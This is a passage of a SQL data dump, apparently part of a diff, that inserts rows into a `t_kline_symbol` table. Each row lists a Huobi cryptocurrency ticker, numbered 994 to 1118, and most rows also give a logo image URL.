VALUES (994, 'huobi', 'metis', 'METIS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/metis-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (995, 'huobi', 'ryoma', 'RYOMA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ryoma.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (996, 'huobi', 'bld', 'BLD', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/agoric.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (997, 'huobi', 'xpnt', 'XPNT', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (998, 'huobi', 'zcx', 'ZCX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/unizen.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (999, 'huobi', 'baby', 'BABY', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/babyswap.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1000, 'huobi', 'erg', 'ERG', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/ergoplatformorg.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1001, 'huobi', 'xno', 'XNO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nano.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1002, 'huobi', 'bone', 'BONE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bone-shibaswap.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1003, 'huobi', 'unq', 'UNQ', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/unique-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1004, 'huobi', 'dc', 'DC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dragoncastle.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1005, 'huobi', 'mbl', 'MBL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/moviebloc.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1006, 'huobi', 'htr', 'HTR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/heartrate.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1007, 'huobi', 'vinu', 'VINU', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vita-inu.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1008, 'huobi', 'ipv', 'IPV', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ipverse.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1009, 'huobi', 'skeb', 'SKEB', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/skeb-coin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1010, 'huobi', 'mmf', 'MMF', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mmfinance.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1011, 'huobi', 'sweat', 'SWEAT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/sweateconomy.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1012, 'huobi', 'ethf', 'ETHF', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethereumfair.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1013, 'huobi', 'ethw', 'ETHW', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethereum-wizard.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1014, 'huobi', 'sylo', 'SYLO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sylo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1015, 'huobi', 'mplx', 'MPLX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/metaplex.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1016, 'huobi', 'wbt', 'WBT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wbt.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1017, 'huobi', 'ing', 'ING', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/iungonetwork.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1018, 'huobi', 'inr', 'INR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/user_id/1439886663660998659.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1019, 'huobi', 'soul', 'SOUL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/phantasma.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1020, 'huobi', 'waxl', 'WAXL', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1021, 'huobi', 'dfx', 'DFX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dfx-finance.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1022, 'huobi', 'brise', 'BRISE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitrise-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1023, 'huobi', 'uft', 'UFT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/unilend-finance.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1024, 'huobi', 'bitci', 'BITCI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcicoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1025, 'huobi', 'fdt', 'FDT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/frutti-dino.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1026, 'huobi', 'mcrt', 'MCRT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/magiccraft.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1027, 'huobi', 'kripto', 'KRIPTO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kripto-koin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1028, 'huobi', 'mine', 'MINE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pylon-protocol.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1029, 'huobi', 'hao', 'HAO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/historydao.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1030, 'huobi', 'fanc', 'FANC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fanc.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1031, 'huobi', 'hoop', 'HOOP', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chibi-dinos.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1032, 'huobi', 'sean', 'SEAN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/starfish-finance.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1033, 'huobi', 'gvr', 'GVR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/grove.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1034, 'huobi', 'xen', 'XEN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xenia-coin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1035, 'huobi', 'fnsa', 'FNSA', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1036, 'huobi', 'bxen', 'BXEN', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1037, 'huobi', 'kicks', 'KICKS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sessia.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1038, 'huobi', 'mlk', 'MLK', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/milkalliance.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1039, 'huobi', 'die', 'DIE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/die.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1040, 'huobi', 'ita', 'ITA', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/italian-national-football-team-fan-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1041, 'huobi', 'arg', 'ARG', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/argentum.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1042, 'huobi', 'por', 'POR', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/portugal-national-team-fan-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1043, 'huobi', 'kcal', 'KCAL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kcal.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1044, 'huobi', 'paradox', 'PARADOX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/the-paradox-metaverse.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1045, 'huobi', 'match', 'MATCH', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/matchcup.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1046, 'huobi', 'oas', 'OAS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/oasys.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1047, 'huobi', 'eurt', 'EURT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eur-tether.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1048, 'huobi', 'xaut', 'XAUT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tether-gold.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1049, 'huobi', 'usdj', 'USDJ', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/just-stablecoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1050, 'huobi', 'dmc', 'DMC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dynamiccoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1051, 'huobi', 'gearbox', 'GEARBOX', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1052, 'huobi', 'bbc', 'BBC', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/b2bcoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1053, 'huobi', 'flr', 'FLR', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1054, 'huobi', 'pi', 'PI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pchain.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1055, 'huobi', 'bonk', 'BONK', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bonk-token.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1056, 'huobi', 'krrx', 'KRRX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kyrrex.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1057, 'huobi', 'sg', 'SG', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/socialgood.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1058, 'huobi', 'grv', 'GRV', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/grv.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1059, 'huobi', 'rock', 'ROCK', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bedrock.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1060, 'huobi', 'core', 'CORE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cvault-finance.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1061, 'huobi', 'rpl', 'RPL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Rocket_Pool.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1062, 'huobi', 'torn', 'TORN', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tornado-cash.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1063, 'huobi', 'woof', 'WOOF', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/woof-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1064, 'huobi', 'imgnai', 'IMGNAI', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1065, 'huobi', 'tomi', 'TOMI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tomi.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1066, 'huobi', 'fud', 'FUD', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fudcoin-official.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1067, 'huobi', 'sdao', 'SDAO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/singularitydao.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1068, 'huobi', 'tcnh', 'TCNH', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1069, 'huobi', 'gft', 'GFT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/game-fantasy-token.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1070, 'huobi', 'igu', 'IGU', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1071, 'huobi', 'ali', 'ALI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ali.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1072, 'huobi', 'gns', 'GNS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gains-network.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1073, 'huobi', 'grail', 'GRAIL', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/grail.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1074, 'huobi', 'sudo', 'SUDO', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1075, 'huobi', 'xpla', 'XPLA', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1076, 'huobi', 'rab', 'RAB', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1077, 'huobi', 'pci', 'PCI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/0a34cfd6660ae35357394b4588349f9e.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1078, 'huobi', 'volt', 'VOLT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitvolt.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1079, 'huobi', 'dzoo', 'DZOO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dogezoo.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1080, 'huobi', 'lai', 'LAI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/laikadog.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1081, 'huobi', 'ut', 'UT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ulordtoken.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1082, 'huobi', 'quick', 'QUICK', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/quickswap.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1083, 'huobi', 'benji', 'BENJI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/benjirolls.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1084, 'huobi', 'poolx', 'POOLX', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1085, 'huobi', 'aos', 'AOS', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aos.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1086, 'huobi', 'mage', 'MAGE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/magiccoinio.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1087, 'huobi', 'arix', 'ARIX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arix.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1088, 'huobi', 'wifi', 'WIFI', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wifi-coin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1089, 'huobi', 'aidoge', 'AIDOGE', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1090, 'huobi', 'strx', 'STRX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/synthetix.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1091, 'huobi', 'pepe', 'PEPE', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pepe.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1092, 'huobi', 'wojak', 'WOJAK', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1093, 'huobi', 'aped', 'APED', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/apedoge.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1094, 'huobi', 'chad', 'CHAD', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/chadfi.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1095, 'huobi', 'osmo', 'OSMO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/osmosis.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1096, 'huobi', 'dav', 'DAV', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dav-network.jpg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1097, 'huobi', 'ordi', 'ORDI', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1098, 'huobi', 'bpepe', 'BPEPE', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1099, 'huobi', 'meme', 'MEME', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/memetic.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1100, 'huobi', 'turbo', 'TURBO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/turbocoin.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1101, 'huobi', 'bob', 'BOB', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bobs-repair.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1102, 'huobi', 'pooh', 'POOH', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1103, 'huobi', 'ladys', 'LADYS', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1104, 'huobi', 'ars', 'ARS', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1105, 'huobi', 'soya', 'SOYA', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1106, 'huobi', 'brz', 'BRZ', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/brz.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1107, 'huobi', 'pyg', 'PYG', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1108, 'huobi', 'acs', 'ACS', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1109, 'huobi', 'lhinu', 'LHINU', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1110, 'huobi', 'mong', 'MONG', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1111, 'huobi', 'capo', 'CAPO', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1112, 'huobi', 'tenet', 'TENET', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1113, 'huobi', 'deso', 'DESO', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitclout.jpeg', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1114, 'huobi', 'tox', 'TOX', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/trollbox.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1115, 'huobi', 'uyu', 'UYU', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/uyu.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1116, 'huobi', 'wstusdt', 'WSTUSDT', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1117, 'huobi', 'mnt', 'MNT', NULL, NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mn-tracker.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_kline_symbol` VALUES (1118, 'huobi', 'unibot', 'UNIBOT', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 